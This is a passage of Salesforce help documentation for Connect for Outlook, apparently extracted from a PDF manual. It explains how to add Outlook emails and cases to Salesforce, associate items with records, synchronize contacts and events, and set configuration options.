Tips for Assigning Outlook Emails to Salesforce Records with Connect for Outlook

1. On the Attachments tab, select a radio button to specify the record where the attachment will be uploaded. You can only choose one record. 2. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. 3. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. Links to the uploaded attachments will be included in the Comments area of the new task.

Editing Uploaded Text


On the Message tab in the Add to Salesforce dialog box, you can edit the message contents that will be added to Salesforce. Any changes you make only affect the newly-created task in Salesforce, not the stored email in Outlook.

Adding the Email to Salesforce


Finally, click Add to Salesforce in the Add to Salesforce dialog box to add the email as a completed task in the Activity History related list of the associated records. The Type field on the new task is automatically set to Email. If the Show item after adding email checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new task automatically opens in your Web browser. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Adding Outgoing Emails to Salesforce with Connect for Outlook Creating Cases from Outlook Emails with Connect for Outlook

Tips for Assigning Outlook Emails to Salesforce Records with Connect for Outlook
Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Outlook items with Salesforce records: Read on each type of record

You can associate Outlook email messages with account, asset, campaign, case, contact, contract, lead, opportunity, product, and custom object records in Salesforce. These tips apply to the Add to Salesforce dialog box in Connect for Outlook.

2441

Connect for Outlook

Tips for Assigning Outlook Emails to Salesforce Records with Connect for Outlook

Search Tips
If enabled, the Names tab in the Add to Salesforce dialog box of Connect for Outlook can automatically search for contacts and leads whose email addresses match an address in the To, Cc, Bcc, or From fields of the Outlook email. You can perform searches for any field supported in Salesforce search. In addition, you can search for products. You must enter at least two characters before clicking Go! to run a search. When searching for records, you can use Boolean operators such as AND and OR. In the Search Options box on the Related To tab, you can choose which types of records to search for. To search across all possible types of records, select the checkbox in the header row. However, products must be searched for alone. If the search results return multiple matches and you are not sure which to select, click the View link to open that record in a Web browser.

Association Tips
When associating an email to a contact in the Add to Salesforce dialog box of Connect for Outlook, you can choose one other related record; for a lead, you cannot associate another related record. On the Related To tab, you can search for accounts, assets, campaigns, cases, contracts, custom objects, opportunities, and products to associate with the new task. To make a custom object available for association, your Salesforce administrator must select Allow Activities and Deployed on the custom object definition. On the Related To tab, the record you select does not need to have a relationship to your chosen contact on the Names tab. You can associate a new contact with an existing account by performing an account lookup when you create the new contact record. Certain tabs or fields on the Add to Salesforce dialog box may be unavailable if your administrator has hidden the Contact Name field for cases or the Name and Related To fields for tasks in Salesforce. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Creating Cases from Outlook Emails with Connect for Outlook

Looking up Salesforce Accounts with Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

When you create a new contact in Outlook, you can populate the Company field with an existing Salesforce account name.

2442

Connect for Outlook

Assigning Outlook Items to Salesforce Records with Connect for Outlook

1. 2. 3. 4.

In Outlook, open your Contacts folder. Click New to create a new contact. Click the Lookup Account button. Enter a search term, and click Go. Keep these tips in mind when searching for accounts: You can search for information in any standard or custom field of type text, text area, long text area, email, or phone. The wildcard character is the asterisk (*). For example, to search for all accounts that begin with Acme, type Acme* into the search box. To search for all accounts, use only the wildcard character as your search term. Searches are not case-sensitive. Searching for ibm is the same as searching for IBM. Special operators such as double quotation marks are not supported.

5. Double-click an account name in the list to associate it with the contact.

Assigning Outlook Items to Salesforce Records with Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Outlook items with Salesforce records: Read on each type of record

From Outlook, you can associate existing contacts, calendar events, and tasks with records in Salesforce. 1. In Outlook, select one or more items so they are highlighted. Alternatively, open an individual item in its own window. 2. Select Change Associations from the toolbar or the right-click shortcut menu. In Outlook 2007, if the item is open in its own window, click the Salesforce tab on the Ribbon, and then choose Change Associations. The Change Associations dialog box opens. 3. If you are associating contacts and the Company or Manager's Name fields are populated for at least one of the selected contacts, you must select the associated Account and Reports To records in Salesforce. If you are associating a calendar event or task, click the Search Salesforce drop-down list in the Contacts/Leads or Other Records tab and select the correct object type. Note: If you select Leads on the Contacts/Leads tab, the Other Records tab disappears. This is because leads are considered prospects that have no associated records. To associate to other records, first select Contacts from the drop-down list, and then click the Other Records tab. 4. Double-click the correct item in the search results to select an existing record to associate. Optionally, click View in Salesforce to open that items record in your Web browser. If you do not find the Salesforce record you want, you can create a new account, contact, or lead by clicking the appropriate Quick Create button. The Outlook item is associated with this new Salesforce object after the next sync. 5. Click OK to save your work.

2443

Connect for Outlook

Creating Cases from Outlook Emails with Connect for Outlook

Note: Associations are not propagated to Salesforce until a synchronization has been performed. You can set items to be automatically marked for synchronization when you set up configuration options.

Viewing Outlook Item Associations


Connect for Outlook offers dynamic buttons that display the names of associated Salesforce records. In Outlook XP and Outlook 2003, the name of each associated record displays as a button in the Connect for Outlook toolbar. In Outlook 2007, you can see the associated records in the Salesforce tab on the Ribbon. As you select different Outlook items, the buttons change automatically to reflect each items associations. Click a button to open that record in your Web browser. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Using Connect for Outlook Synchronizing Your Contacts and Activities with Connect for Outlook

Creating Cases from Outlook Emails with Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

You can create a case in Salesforce using the contents of an email that you have sent or received in Outlook. For example, if you receive an email reporting a problem that you want to track in Salesforce, you can log the email as a Salesforce case that will be assigned to you. Certain tabs or fields on the Add to Salesforce dialog box may be unavailable if your administrator has hidden the Contact Name field for cases or the Name and Related To fields for tasks in Salesforce. 1. 2. 3. 4. In Outlook, open an email folder. Select a sent or received email message so it is highlighted. Click Add Case from the toolbar or the right-click shortcut menu. On the Names tab: a. Confirm that the case has the correct case owner, status, and subject. b. If you want to automatically assign a case owner, select Use assignment rules to select case owner. The Case Owner field indicates that the owner will be assigned automatically, and the Change and View links are disabled. You can see the case owner that is automatically assigned when you view this case in Salesforce.

2444

Connect for Outlook

Synchronizing Your Contacts and Activities with Connect for Outlook

c. In the Results box, double-click the correct contact to associate with the case. Your selection displays at the bottom of the tab. You can click the View link to open the contact in Salesforce or click the Clear link to make another selection. If needed, enter criteria in the Search field and click Go! d. If you do not find the contact you want, you can create a new one by clicking the Quick Create Contact link, if enabled. 5. On the Attachments tab: a. Select the Yes radio button to upload an attachment to the new case. b. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. c. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. 6. On the Message tab, edit the message contents that will be added to Salesforce. Any changes you make only affect the newly created case in Salesforce, not the stored email in Outlook. 7. When you are ready to create a new case from the Outlook email, click the Add to Salesforce button in the dialog box. If the Show item after creating a case checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new case automatically opens in your Web browser. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Adding Outgoing Emails to Salesforce with Connect for Outlook Managing Assignment Rules

Synchronizing Your Contacts and Activities with Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

With Connect for Outlook, you can synchronize your contacts, tasks, and calendar events between Salesforce and Outlook. This allows updates to records in Outlook and Salesforce to remain in sync. Before you can synchronize to Salesforce, you must save items to your sync folder by marking them for synchronization. To set items that you have saved to your synchronization folder to be automatically marked for sync: 1. Navigate to Tools > Salesforce Options. 2. Select the Contacts, Events, or Tasks tab. 3. Select the Always mark records for sync checkbox.

2445

Connect for Outlook

Synchronizing Your Contacts and Activities with Connect for Outlook

Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

If you want to synchronize contacts owned by other users, set your sync profile before synchronizing. To manually synchronize information: 1. In Outlook, select one or more contacts, calendar events, or tasks. Note that you cannot synchronize emails, but you can add them as tasks or cases in Salesforce. 2. Select Mark for Sync from the toolbar or the right-click shortcut menu. This adds the items to the salesforce.com category in Outlook. In Outlook 2007, if the item is open in its own window, click the Salesforce tab on the Ribbon, then choose Save and Mark for Sync. If the Company or Manager's Name fields are populated for one of the selected contacts, you must select the associated Account and Reports To records in Salesforce. If you select multiple items that have been automatically marked for sync, you can now complete associations for these items as needed. In Outlook, when you open your contacts in an address card view, colored icons indicate a contact's synchronization status. When a contact is first marked for synchronization, an icon with a red clock dial displays next to the contact's name. After synchronization, a green check mark icon displays next to the contact's name. For contacts that were manually added to the salesforce.com category, a status icon does not display until after the contact has been synchronized. Tip: While creating or editing an Outlook item, you can quickly mark it for synchronization by clicking Save and Mark for Sync. 3. Click Sync in the Connect for Outlook toolbar. Connect for Outlook begins synchronizing all marked items with Salesforce. Your very first synchronization may take several minutes because your data is comparison-checked in order to avoid duplicates. Note: During synchronization, the Outlook Reading Pane does not automatically refresh as you highlight messages in your email folders. To view messages during synchronization, double-click the message to open it in a separate window. Also, during synchronization, Connect for Outlook commands in the right-click shortcut menu are not available. To avoid unnecessary space usage, not all occurrences of recurring appointments synchronize between Salesforce and Outlook. The following occurrences synchronize according to your computer's current time and date: Occurrences of a daily series that fall approximately in the next thirty days Occurrences of a weekly series that fall approximately in the next six weeks Occurrences of a monthly or yearly series that fall approximately in the next six months

4. If records will be added to Outlook or Salesforce as a result of the synchronization, a dialog box summarizes these changes and asks you to confirm them. 5. If necessary, you are prompted to resolve data conflicts. 6. When the synchronization process completes, click OK. Note: If you further want to synchronize your Outlook data with a Palm handheld or other device, consult the documentation for your device.

2446

Connect for Outlook

Synchronizing Your Contacts and Activities with Connect for Outlook

To specify that you no longer want to synchronize an item, select one or more items and click Unmark for Sync in the Connect for Outlook toolbar, or right-click and choose Unmark for Sync from the right-click shortcut menu. In Outlook, the salesforce.com category is removed from the item. Connect for Outlook contains various synchronization options you can customize, including scheduling synchronization, specifying the synchronization direction, determining how conflicts should be handled by default, and specifying the field mappings for synchronization.

Setting Up Associations for Outlook Items


You can associate contacts, calendar events, and tasks with Salesforce records. For example, you can associate an Outlook contact with a Salesforce account or associate a meeting with a Salesforce campaign. When associating Outlook items with Salesforce records, note the following: If you select only one contact to sync and the automatic search feature is enabled, the Account Association is pre-populated by an automatic search. You enable this feature by selecting the Automatically perform search for account and contact associations checkbox in Tools > Salesforce Options > Contacts > Advanced > Associations. You can select the Remember my selections for my most recent salesforce.com object search checkbox to direct Salesforce to remember the search results from the last time a contact, task, or event was associated. You must select the correct account if the contact's Company field has a value in Outlook. When you associate a contact with an account using the Accounts tab on the Change Associations dialog box, the selected account appears in one of the following places: The contacts Account Name field in Salesforce The matching Salesforce field defined in Tools > Salesforce Options > Contacts > Advanced > Field Maps for the CompanyName Outlook field You must select the correct manager if the contact's Manager's Name field has a value in Outlook. When you associate a contact with a manager using the Reports To tab on the Change Associations dialog box, the selected manager appears in one of the following places: The contacts Reports To field in Salesforce The matching Salesforce field defined in Tools > Salesforce Options > Contacts > Advanced > Field Maps for the ManagerName Outlook field The Salesforce Options dialog box lets you set sync preferences using the Always mark for sync checkbox. Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly created contacts that you save to the synchronization folder are automatically included the next time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

Marking New Outlook Meeting Invitations for Sync


To mark a new meeting invitation for sync: 1. From your Outlook calendar folder, click New to begin a new meeting invitation. 2. Compose the invitation as desired. Caution: If you are inviting resources such as conference rooms, those resources must be configured by your Outlook administrator to automatically accept meeting requests: From the Tools menu, click Options > Calendar Options > Resource Scheduling and then select the Automatically accept meeting requests and

2447

Connect for Outlook

Synchronizing Your Contacts and Activities with Connect for Outlook

process cancellations checkbox. If the resource does not have this configuration, it is not booked when you

send the invitation. 3. When you are ready to send the invitation: In Outlook XP and 2003, click Save and Mark for Sync on the toolbar. In Outlook 2007, click Save and Mark for Sync on the Salesforce tab of the Ribbon. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Setting Your Sync Profile for Connect for Outlook Mapping Custom Fields for Connect for Outlook Synchronization Assigning Outlook Items to Salesforce Records with Connect for Outlook Setting Connect for Outlook Options

Resolving Data Conflicts During Connect for Outlook Synchronization


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

If a record has been modified in both Outlook and Salesforce and you try to synchronize your data, a conflict resolution dialog box appears, allowing you to choose which information to save. For example, if you changed a contacts phone number in Outlook and then changed that contacts address in Salesforce, you must identify which values are correct. 1. In the left pane, use the drop-down list to choose whether to display records in a tree or list view, then choose the record that you want to resolve. 2. In the right pane, use the drop-down list to choose whether to display all fields on the record or only those that have conflicting data, then select the radio button next to the correct value. 3. If necessary, click the pencil icon ( ) and manually enter the value you want to save. Note: The pencil icon is not available for read-only fields on some objects, such as products on opportunities.

4. Repeat these steps for each record listed in the left pane. When you have selected a value to resolve the conflict, the status of the record in the left pane displays a green check.

2448

Connect for Outlook

Working with Person Accounts in Connect for Outlook

5. Click Submit when you have finished making selections for all records in conflict.

See Also:
Synchronizing Your Contacts and Activities with Connect for Outlook

Working with Person Accounts in Connect for Outlook


Available in: Enterprise and Unlimited Editions

Connect for Outlook version 3.2 and later supports the following operations involving person accounts if your organization has implemented them.

Synchronizing Person Accounts with Outlook Contacts


Connect for Outlook can synchronize person accounts between your Accounts tab in Salesforce and your contacts folder in Outlook. From Outlook, you can view, edit, and delete synchronized person accounts. You can also direct Outlook to identify contact records as person accounts. You do this by syncing the contact record to a corresponding person account in Salesforce. If the contact and person account details match, Salesforce associates the records and marks the Outlook contact as a person account. Salesforce only marks the contact record as a person account if a person account already exists in Salesforce. To identify a contact as a person account, you must first create the person account in Salesforce and then sync the contact record to it. If you sync a new Outlook contact for someone who doesnt have a person account in Salesforce, Connect for Outlook processes it as a business contact.

Associating Outlook Email Messages with Person Accounts


With Connect for Outlook, you can add email messages to Salesforce as tasks or cases. In both situations you can associate the task or case being created with a person account. In the Add to Salesforce dialog box, you can select person accounts on both the Names tab and the Related to tab. On the Names tab, person accounts appear as if they were contacts. Additionally, you can add outgoing email messages to Salesforce, add sent or received emails to Salesforce, and create cases from Outlook email messages.

Associating Outlook Calendar Events and Tasks with Person Accounts


With Connect for Outlook, you can associate calendar events and tasks with person accounts. In the Associate Item dialog box, you can specify person accounts for the Contacts drop-down list as well as the Accounts drop-down list.

Considerations on Using Person Accounts with Connect for Outlook


Connect for Outlook does not synchronize business accounts (accounts that do not have a person account record type). While you can associate Outlook calendar events and tasks with person accounts, you cannot use the Change Associations dialog box to associate items in your Outlook contacts folder with person accounts. However, you can synchronize existing person accounts in Salesforce down to Outlook. You cannot create new person accounts from Outlook. Whenever you create a new Outlook contact and mark it for sync, Connect for Outlook processes it as a business contact.

2449

Connect for Outlook

Opening Salesforce Records from Outlook with Salesforce

If person accounts have been enabled for your organization, the Quick Create links for accounts are always disabled in Connect for Outlook dialog boxes.

See Also:
Using Connect for Outlook Working with Person Accounts in Connect for Outlook Synchronizing Your Contacts and Activities with Connect for Outlook Assigning Outlook Items to Salesforce Records with Connect for Outlook Accounts Overview

Opening Salesforce Records from Outlook with Salesforce


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

After synchronizing, Connect for Outlook allows you to open the Salesforce detail page of a contact, task, or nonrecurring calendar event from Outlook: 1. In Outlook, select a contact, task, or nonrecurring calendar event so the item is highlighted. 2. Click View in Salesforce from the toolbar or the right-click shortcut menu. 3. The Salesforce record opens in your Web browser. Because you are already logged in through Connect for Outlook, you do not need to enter your username and password again.

Viewing Salesforce Tabs in Outlook


Connect for Outlook allows you to access and work in your Salesforce tabs directly from within Outlook. For example, you can view and update your Salesforce contacts and accounts directly from Outlook. Note: This feature is only available if you are working online and if the Add salesforce.com folders in Outlook email option is enabled. To use Salesforce within Outlook: 1. In your Outlook folders list, expand the salesforce.com folder. 2. Click any folder name to display the Salesforce tab of the same name. The Salesforce tab displays in the Outlook reading pane. A new browser window opens when you click a Salesforce folder if you're using: Outlook 2002 on Windows XP or Vista Outlook 2007 on Vista Outlook 2003 on Windows XP or Vista, or Outlook 2007 on Windows XP, and have enabled the Display salesforce.com folders in external Web browser email option

During your Outlook session, clicking the salesforce.com folder displays the last Salesforce page you viewed while navigating within the salesforce.com folder. 3. Use Salesforce within Outlook exactly as you would in a browser. All Salesforce features are available to you except the ability to log out through the Salesforce Logout link.

2450

Connect for Outlook

Setting Your Sync Profile for Connect for Outlook

Note: We recommend that you do not add any emails, folders, or other items to the salesforce.com folder.

See Also:
Synchronizing Your Contacts and Activities with Connect for Outlook

Setting Your Sync Profile for Connect for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Your sync profile defines how your data is synchronized with Salesforce. By default, you can synchronize: Contacts you own Contacts to which you have read/write access that are associated with accounts you own Contacts to which you have read/write access that are associated with accounts of which you are an account team member

By setting your sync profile, you can also synchronize contacts owned by other users, as long as you have read/write access to those contacts. 1. In Salesforce, choose Your Name > Setup > Desktop Integration > Connect for Outlook > Set your Sync Profile. Alternatively, choose Your Name > Setup > Desktop Integration > Connect for Lotus Notes > Set your Sync Profile. Connect for Outlook and Connect for Lotus Notes also use the sync profile. 2. From the first drop-down list, select the type of group. Your choices are: Member Type Personal Groups Public Groups Description All of your own groups. All public groups defined by your administrator.

3. Select the group whose members own contacts you want to synchronize, or click New Personal Group to create a new personal group. The group you select or create can have up to 15 members. Contact Manager and Group Edition organizations have two options: Sync My Contacts Only or Sync All Contacts. 4. Click Save to finish. In a Public Read Only or Private sharing model, the group members need to grant you read/write access to their contacts in order for you to synchronize them. 5. The next time you perform a synchronization, the contacts that correspond to your sync profile will be included. Keep in mind the following concerning your sync profile:

2451

Connect for Outlook

Setting Connect for Outlook Options

If you change your sync profile, the contacts owned by the new group are added to your offline device and the contacts owned by the old group are deleted from your offline device during your next synchronization. If the members of the group change, the contacts that are synchronized also change. If you or your administrator delete the group, contacts owned by the group will no longer be synchronized unless you are the contact owner, the account owner, or on the account team.

See Also:
About Groups Synchronizing Your Contacts and Activities with Connect for Outlook Synchronizing Your Contacts and Activities with Connect for Lotus Notes

Setting Connect for Outlook Options


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

To customize your Connect for Outlook options: 1. In Outlook, select Tools > Salesforce Options. The Connect for Outlook Configuration Options dialog box opens. 2. Use the tabs provided to view and modify configuration options. 3. Click OK to save your settings.

Connect for Outlook Configuration Options


In the Outlook Configuration Options dialog box, you can set the following options: Note: Your administrator may have customized Connect for Outlook to disallow certain operations. If so, some options may be unavailable or disabled. Options on the General tab User Settings Option
Username Password

Description Your Salesforce username. Your Salesforce password. If you log in from an untrusted network, you may need to add a security key to the end of your password. See Resetting Your Security Token on page 44. The URL of the Force.com API server that Connect for Outlook uses to access your Salesforce data. Read only.

Server

Click the Verify button to confirm that your username and password are correct. General Preferences

2452

Connect for Outlook

Setting Connect for Outlook Options

Option
Log in automatically when Outlook starts

Description Select this checkbox to allow Connect for Outlook to automatically log you in to Salesforce when you start Outlook. This can increase the speed of your first Connect for Outlook operation during that Outlook session. Select this checkbox to enable the Connect for Outlook dialog box that displays when Outlook starts. Select this checkbox to enable icons that indicate different statuses of Outlook items, such as whether an item is marked for synchronization or has been synchronized. Select this checkbox to display a notification dialog box when Connect for Outlook completes a synchronization.

Display splash screen on Outlook startup Enable visual indicators

Display 'Sync completed' dialog

Visual Preferences Option


Enable context-sensitive toolbar buttons

Description Select this checkbox to enable the context-sensitive display of Connect for Outlook toolbar buttons. Selecting this option may impact Outlook performance. When this option is selected, the toolbar and right-click shortcut menu only offer the commands that are relevant to your current location in Outlook. When this option is deselected, all commands always display; a warning message occurs if you select a command that does not apply to your current Outlook context. Show or hide the text labels that display next to Connect for Outlook toolbar buttons. By hiding the text, the toolbar will be shorter and take up less screen space.

Display text in toolbar buttons

Synchronization Preferences Option Description Your next synchronization will take place as if you had never before synchronized any records. When you select this option, Connect for Outlook removes the synchronized icons from all items that were previously synchronized.
Synchronize on schedule every XX hours

Delete history and synchronize from scratch Select this checkbox to remove your synchronization history.

Select this checkbox and choose a number from the drop-down list to enable automatic scheduled synchronizations every 1-8 hours.

Within the General tab of the Connect for Outlook Options dialog box, click Help to open Connect for Outlook online help. Click About to view your Connect for Outlook version number.

2453

Connect for Outlook

Setting Connect for Outlook Options

Basic options on the Contacts, Events, and Tasks tabs On the Contacts, Events, and Tasks tabs of the dialog box, set each of these options to determine how your contacts, events, and tasks will be synchronized. Option
Synchronize Data with Salesforce Data Movement

Description Select the checkbox to enable synchronization between Outlook and Salesforce. Choose an option from the drop-down list to specify how data is treated during synchronization. Your choices are: Export to Salesforce - During its first synchronization, a record in Outlook will create or update a record in Salesforce. If that record is ever modified in Salesforce, it will be skipped in future synchronizations. If the record is only modified in Outlook, future synchronizations will cause the corresponding record in Salesforce to be updated. Export with Overwrites to Salesforce - During its first synchronization, a record in Outlook will create or update a record in Salesforce. At future synchronizations, any changes made in Outlook will be reflected in Salesforce, regardless of whether the Salesforce version of the record had been changed in the meantime. When this option is selected, the conflict setting in the advanced options dialog box is automatically set to Outlook always wins. Import from Salesforce - During its first synchronization, a record in Salesforce will create or update a record in Outlook. If that record is ever modified in Outlook, it will be skipped in future synchronizations. If the record is only modified in Salesforce, future synchronizations will cause the corresponding record in Outlook to be updated. Import with overwrites from Salesforce - During its first synchronization, a record in Salesforce will create or update a record in Outlook. At future synchronizations, any changes made in Salesforce will be reflected in Outlook, regardless of whether the Outlook version of the record had been changed in the meantime. When this option is selected, the conflict setting in the advanced options dialog box is automatically set to Salesforce always wins. Synchronize with Salesforce - During synchronizations, records modified in Outlook will be reflected in Salesforce, and vice versa. This is the default option and is recommended for most users. Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly

Always mark for sync

2454

Connect for Outlook

Setting Connect for Outlook Options

Option

Description created contacts that you save to the synchronization folder are automatically included the next time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

Folder Settings

View a list of the Outlook folders. Connect for Outlook searches for items to synchronize in the Outlook folder that has Synchronize Data with Salesforce selected. You can select only one folder. The items themselves must be marked for synchronization or they will not be synchronized.

Advanced options on the Contacts, Events, and Tasks tabs Click the Advanced button in the Contacts, Events, and Tasks tabs of the dialog box to customize additional synchronization options. Option Description records will be deleted as a result of synchronization. This option is enabled by default.
Confirmation tab - Confirm record changes and additions Conflict tab

Confirmation tab - Confirm record deletions Select the checkbox to display a confirmation message when

Select the checkbox to display a confirmation message when records will be updated as a result of synchronization. This option is enabled by default. In the Conflict tab, select an option to determine how Connect for Outlook handles conflicts between Salesforce data and Outlook data during synchronization. Ignore all conflicts - Records with conflicts are not synchronized. Notify me when conflicts occur - Connect for Outlook notifies you of any conflicts so you can manually resolve them. This is the default option. Salesforce always wins - The value in the Salesforce record is always accepted when a conflict occurs. Outlook always wins - The value in Outlook is always accepted when a conflict occurs.

2455

Connect for Outlook

Setting Connect for Outlook Options

Option
Options tab - Synchronization Scope

Description Determines time frame for synchronized tasks and events. This tab is only available for tasks and events. The choices for events are: Today and future events - Only current and future events that are marked for synchronization will be synchronized. This includes events scheduled for the day before the synchronization. By default, Salesforce synchronizes the next 31 days of daily events, the next 5.5 weeks of weekly events, the next 5.5 months of monthly events, and the next year and a half of yearly events. All events - All events, including past events, that are marked for synchronization will be synchronized.

The choices for tasks are: Open and recently closed tasks - Only open tasks and tasks completed within the last seven days that are marked for synchronization will be synchronized. Import salesforce.com tasks of type Email - Only available if Open and recently closed tasks is selected. When this checkbox is deselected, tasks that have a Type value of Email are not imported into Outlook during synchronization, provided the field-level security settings of the Type picklist make the picklist visible for you. The tasks affected by this option include, but are not limited to, emails that you have used Connect for Outlook to add to Salesforce as completed tasks. Note that the Type picklist must also be included on your task page layout if you want the picklist to be visible when viewing task records in Salesforce. All tasks - All tasks, regardless of status, that are marked for synchronization will be synchronized.

Field Maps tab

The table on this tab displays how Salesforce fields are mapped to Outlook fields for synchronization and lets you customize field mapping as needed. Determines the settings in the Change Association dialog box when users click Change Associations to associate the Outlook item with a Salesforce record. The choices for contacts, tasks, and events are:
Maximum number of search results - Indicates

Associations tab

the maximum number of records returned when user searches for an association.
Remember my selections for my most recent salesforce.com object search - Directs

2456

Connect for Outlook

Setting Connect for Outlook Options

Option

Description Salesforce to remember the search results from the last time the item was associated. The following option is enabled for contacts only:
Automatically perform search for account and contact associations - Enables automatic

searching for Salesforce records when associating contacts. When a user clicks Change Associations, the search pre-populates the association if it finds a single result.

Options on the Email tab Related To Settings Option


Display by Default

Description Select the types of records to show by default when associating an email with a related record. To select all, select the checkbox in the header row.

Search Settings Option


Maximum number of search results

Description Enter the number of Salesforce items to show in the search results when associating emails with a record or finding names in the Address Book. The maximum number allowed is 200. Select the checkbox to automatically search for matching contacts or leads when adding an email to Salesforce. When this setting is disabled, the search field in the Names tab will still be automatically populated, but the search will not run until you click Go!.

Automatically perform search for adding email

Email Options Option


Display email added successfully dialog Show item after adding email

Description Select the checkbox to display a confirmation message when an email is successfully added to Salesforce. Select the checkbox to automatically display the new task in your Web browser after adding an email message to Salesforce.

2457

Connect for Outlook

Setting Connect for Outlook Options

Case Options Option


Show item after creating a case

Description Select the checkbox to automatically display the new case in your Web browser after creating a case from an email.

Browser Options Option


Always use new Web browser Upload attachments Add salesforce.com folders in Outlook

Description Select the checkbox to always open Salesforce records in a new browser window. Select the checkbox to allow attachments from emails and local files on your computer to be uploaded to Salesforce. Select the checkbox to display salesforce.com folders in the Outlook folders list. A new browser window opens when you click a Salesforce folder if you're using: Outlook 2002 on Windows XP or Vista Outlook 2007 on Vista Outlook 2003 on Windows XP or Vista, or Outlook 2007 on Windows XP, and have enabled the Display
salesforce.com folders in external Web browser email option

Display salesforce.com folders in external Select the checkbox to open an external browser when you click salesforce.com tabs in the salesforce.com folder. This Web browser option is disabled by default. It's only available if the Add salesforce.com folders in Outlook checkbox is

selected and is only visible for users of Outlook 2003 on Windows XP or Vista, or Outlook 2007 on Windows XP.

Options on the Log File tab The Log File tab shows the location of the Connect for Outlook log file. This location cannot be changed. Click View to open the log file in a text editor. This file contains information about any synchronizations performed in your current Outlook session. Click Send to send the log file to salesforce.com Customer Support for troubleshooting. If your log file is blank, you must turn tracing on by modifying the LogMask registry entry.

2458

Connect for Outlook

Setting Connect for Outlook Options

Options on the User Permissions tab The User Permissions tab contains settings that an IT administrator can customize when deploying Connect for Outlook to a group of users.

See Also:
Using Connect for Outlook Deploying Connect for Outlook System-Wide Tip sheet: Administering Connect for Outlook

Mapping Custom Fields for Connect for Outlook Synchronization


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Field mapping lets you define how Salesforce fields map to Outlook fields during synchronization. To map custom Salesforce fields to standard or custom Outlook fields for synchronization: 1. Click Tools > Salesforce Options. 2. From the Contacts, Events, or Tasks tabs, click Advanced > Field Maps > New Mapping. Each type of item has a different field mapping. 3. Choose a field from the Salesforce Field drop-down list. This drop-down list displays the names of all Salesforce fields that have not yet been mapped. Caution: If you map custom fields that are universally required, make sure the universally required fields have a default value so that users will not encounter errors. Furthermore, avoid mapping custom fields that require validation by Salesforce in order to be created. For example, if you map a custom field whose values must be unique, a value that you manually add from your desktop client may result in a uniqueness error during synchronization. 4. Choose a field from the Outlook Field drop-down list. This drop-down list displays the names of the standard Outlook fields for that kind of record. Note: Custom Outlook fields do not display in this list. To map a Salesforce field to a custom Outlook field, you must create the field within this dialog box. Simply type the name of the new field into the Outlook Field field. The custom Outlook field name must be a single word (no spaces) with only letters and numbers. 5. With very few exceptions, accept the default Conversion field value, Use salesforce.com type. Note: The following are the only circumstances in which you should change the Conversion field from its default value: If you are mapping a field that represents either a date or a date and time combination, then choose date or datetime, respectively. If you 